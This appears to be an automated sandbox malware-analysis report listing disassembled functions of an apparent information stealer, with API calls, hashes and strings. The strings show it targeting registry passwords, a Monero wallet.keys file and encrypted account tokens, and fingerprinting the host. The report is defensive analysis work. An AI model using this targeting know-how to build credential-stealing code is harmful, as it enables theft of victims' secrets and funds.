Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuetask
String ID: :
API String ID: 2677904052-3653984579
Opcode ID: 1b6bef6630fcf07864137313dc049413e71b9339f27589c8048d29f2337ee9ea
Instruction ID: 7b667bad67f2e4ef248a443574daecfaca5782e83ecba6df8bcb57f1077f6098
Opcode Fuzzy Hash: 1b6bef6630fcf07864137313dc049413e71b9339f27589c8048d29f2337ee9ea
Instruction Fuzzy Hash: D031097290410DDBCB88EBE4DC9ADFE7779FB54301B144118F212A72A1DA39A947CB62

Function 00807500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00807542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0080757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00807603
RtlAllocateHeap.NTDLL(00000000), ref: 0080760A
wsprintfA.USER32 ref: 00807640

Part of subcall function 0080A740: lstrcpy.KERNEL32(00810E17,00000000), ref: 0080A788

Strings

C, xrefs: 0080754C
\, xrefs: 00807560
:, xrefs: 0080755C

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 1544550907-3809124531
Opcode ID: d0043e41da6cd160308c204a50313eaa09af128ced2e03d639271fdf8a88a405
Instruction ID: 76ac50f3f51597e1d6c58e6512b19ef5c3f1b143e0dd2d6bb7d83782e0f60c75
Opcode Fuzzy Hash: d0043e41da6cd160308c204a50313eaa09af128ced2e03d639271fdf8a88a405
Instruction Fuzzy Hash: 0141AFB1D04258ABDB10DF98CC45BEEBBB8FB18704F100198F509A72C0D7756A84CBA2

Function 007F72D0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 007F733A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 007F73B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 007F740D
GetProcessHeap.KERNEL32(00000000,?), ref: 007F7452
HeapFree.KERNEL32(00000000), ref: 007F7459
task.LIBCPMTD ref: 007F7555

Strings

Password, xrefs: 007F7401

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuetask
String ID: Password
API String ID: 775622407-3434357891
Opcode ID: cdd88dd76a3372c2db1906c4450bbca39370c5231d160529f0c8bc0583c8004e
Instruction ID: 748e23ff1dd1346c284e86688bdfebd57b34bdb02d57ee6b1b7d68a726852d6a
Opcode Fuzzy Hash: cdd88dd76a3372c2db1906c4450bbca39370c5231d160529f0c8bc0583c8004e
Instruction Fuzzy Hash: 4A611AB590416CDBDB24DB50DC45BE9B7B8BF54300F0081E9E689A6281DFB45BC9CFA1

Function 007FBA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0080A740: lstrcpy.KERNEL32(00810E17,00000000), ref: 0080A788

Part of subcall function 0080A9B0: lstrlen.KERNEL32(?,01359198,?,\Monero\wallet.keys,00810E17), ref: 0080A9C5
Part of subcall function 0080A9B0: lstrcpy.KERNEL32(00000000), ref: 0080AA04
Part of subcall function 0080A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0080AA12

Part of subcall function 0080A920: lstrcpy.KERNEL32(00000000,?), ref: 0080A972
Part of subcall function 0080A920: lstrcat.KERNEL32(00000000), ref: 0080A982

Part of subcall function 0080A8A0: lstrcpy.KERNEL32(?,00810E17), ref: 0080A905

Part of subcall function 0080A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0080A7E6

lstrlen.KERNEL32(00000000), ref: 007FBC9F

Part of subcall function 00808E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00808E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 007FBCCD
lstrlen.KERNEL32(00000000), ref: 007FBDA5
lstrlen.KERNEL32(00000000), ref: 007FBDB9

Strings

AccountTokens, xrefs: 007FBB49
AccountId, xrefs: 007FBCC4
AccountTokens, xrefs: 007FBABA
SELECT service, encrypted_token FROM token_service, xrefs: 007FBBEB

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: 46ecc64336ce34b06b3faf5fcea023987ff1ae5feaa3ad253015f2cc7d8dece2
Instruction ID: 5079ddc63e97cf442d8feccfd73a2a8c8c96e496a2e51f3240689e41f7942616
Opcode Fuzzy Hash: 46ecc64336ce34b06b3faf5fcea023987ff1ae5feaa3ad253015f2cc7d8dece2
Instruction Fuzzy Hash: 49B10C729102189BDB48EBA4DD96EEE7738FF54300F404168F516E61D1EF386A49CBA3

Function 007F4FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 007F4FCA
RtlAllocateHeap.NTDLL(00000000), ref: 007F4FD1
InternetOpenA.WININET(00810DDF,00000000,00000000,00000000,00000000), ref: 007F4FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 007F5011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 007F5041
InternetCloseHandle.WININET(?), ref: 007F50B9
InternetCloseHandle.WININET(?), ref: 007F50C6

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: af50dcc7cccf566606265ecb32ef201a3400fe398739dc5326f3de809035c5fb
Instruction ID: acb5559c549c4fccc0ec65f50b093d2aadbfbaee24c9bbcb80fca470fd280ecb
Opcode Fuzzy Hash: af50dcc7cccf566606265ecb32ef201a3400fe398739dc5326f3de809035c5fb
Instruction Fuzzy Hash: F831E7B4A00228ABDB20CF94DC85BD9B7B4EB48704F1081D9B709A7281DB746AC58F99

Function 00808100 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,0135E200,00000000,?,00810E2C,00000000,?,00000000), ref: 00808130
RtlAllocateHeap.NTDLL(00000000), ref: 00808137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00808158
wsprintfA.USER32 ref: 008081AC

Strings

%d MB, xrefs: 008081A3
@, xrefs: 0080814D

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2922868504-3474575989
Opcode ID: 107da188956f54c192ea678d92b29d1db99386278279791633a91b661a906e15
Instruction ID: 0bad59a17b0e35245585568eebd53c65f3da20365c9f61526bf2a3df309f8cfc
Opcode Fuzzy Hash: 107da188956f54c192ea678d92b29d1db99386278279791633a91b661a906e15
Instruction Fuzzy Hash: 0521F7B1A44218ABDB00DFD4DC4AFAEBBB8FB44B14F104609F615BB2C0D77869018BA5

Function 008083DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00808426
wsprintfA.USER32 ref: 00808459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0080847B
RegCloseKey.ADVAPI32(00000000), ref: 0080848C
RegCloseKey.ADVAPI32(00000000), ref: 00808499

Part of subcall function 0080A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0080A7E6

RegQueryValueExA.KERNEL32(00000000,0135E410,00000000,000F003F,?,00000400), ref: 008084EC
lstrlen.KERNEL32(?), ref: 00808501
RegQueryValueExA.KERNEL32(00000000,0135E440,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00810B34), ref: 00808599
RegCloseKey.KERNEL32(00000000), ref: 00808608
RegCloseKey.ADVAPI32(00000000), ref: 0080861A

Strings

%s\%s, xrefs: 0080844D

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: 07645f96fcff8a0be882fb88ab3b76ad757e03a3c11c5b02d2119f12196be64e
Instruction ID: 7b3885d01544744d7cc5bd2ce533bd51263dee681a011daf9317ce54b5558e04
Opcode Fuzzy Hash: 07645f96fcff8a0be882fb88ab3b76ad757e03a3c11c5b02d2119f12196be64e
Instruction Fuzzy Hash: 7B21077190022CABDB64DB94DC85FE9B3B8FB58700F00C598B649A6280DF716A86CFD4

Function 00807690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 008076A4
RtlAllocateHeap.NTDLL(00000000), ref: 008076AB
RegOpenKeyExA.KERNEL32(80000002,0134BFA0,00000000,00020119,00000000), ref: 008076DD
RegQueryValueExA.KERNEL32(00000000,0135E188,00000000,00000000,?,000000FF), ref: 008076FE
RegCloseKey.ADVAPI32(00000000), ref: 00807708

Strings

Windows 11, xrefs: 008076BD

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
